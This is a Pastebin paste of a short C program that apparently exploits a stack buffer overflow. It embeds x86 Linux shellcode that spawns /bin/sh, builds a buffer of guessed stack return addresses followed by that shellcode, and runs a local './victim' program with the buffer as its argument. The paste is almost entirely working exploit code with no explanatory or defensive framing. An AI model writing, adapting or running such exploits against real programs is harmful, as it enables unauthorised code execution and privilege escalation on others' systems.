Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.17 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5.  
  6. #define offset_size                    0
  7. #define buffer_size                    512
  8.  
  9. char sc[] =
  10.   "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  11.   "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  12.   "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  13.  
  14.  
  15. unsigned long find_start(void) {
  16.    __asm__("movl %esp,%eax");
  17. }
  18.  
  19. int main(int argc, char *argv[])
  20. {
  21.   char *buff, *ptr;
  22.   long *addr_ptr, addr;
  23.   int offset=offset_size, bsize=buffer_size;
  24.   int i;
  25.  
  26.   if (argc > 1) bsize  = atoi(argv[1]);
  27.   if (argc > 2) offset = atoi(argv[2]);
  28.  
  29.   if (!(buff = malloc(bsize))) {
  30.         printf("Can't allocate memory.\n");
  31.         exit(0);
  32.   }
  33.  
  34.   addr = find_start() - offset;
  35.   printf("Attempting address: 0x%x\n", addr);
  36.  
  37.   ptr = buff;
  38.   addr_ptr = (long *) ptr;
  39.   for (i = 0; i < bsize; i+=4)
  40.        *(addr_ptr++) = addr;
  41.  
  42.   ptr += 4;
  43.  
  44.   for (i = 0; i < strlen(sc); i++)
  45.           *(ptr++) = sc[i];
  46.  
  47.   buff[bsize - 1] = '\0';
  48.  
  49.   printf("strlen(buff) : %d\n", strlen(buff));
  50.  
  51.   printf("\n\n%s\n", buff);
  52.  
  53.   execl("./victim", "./victim", buff, NULL);
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement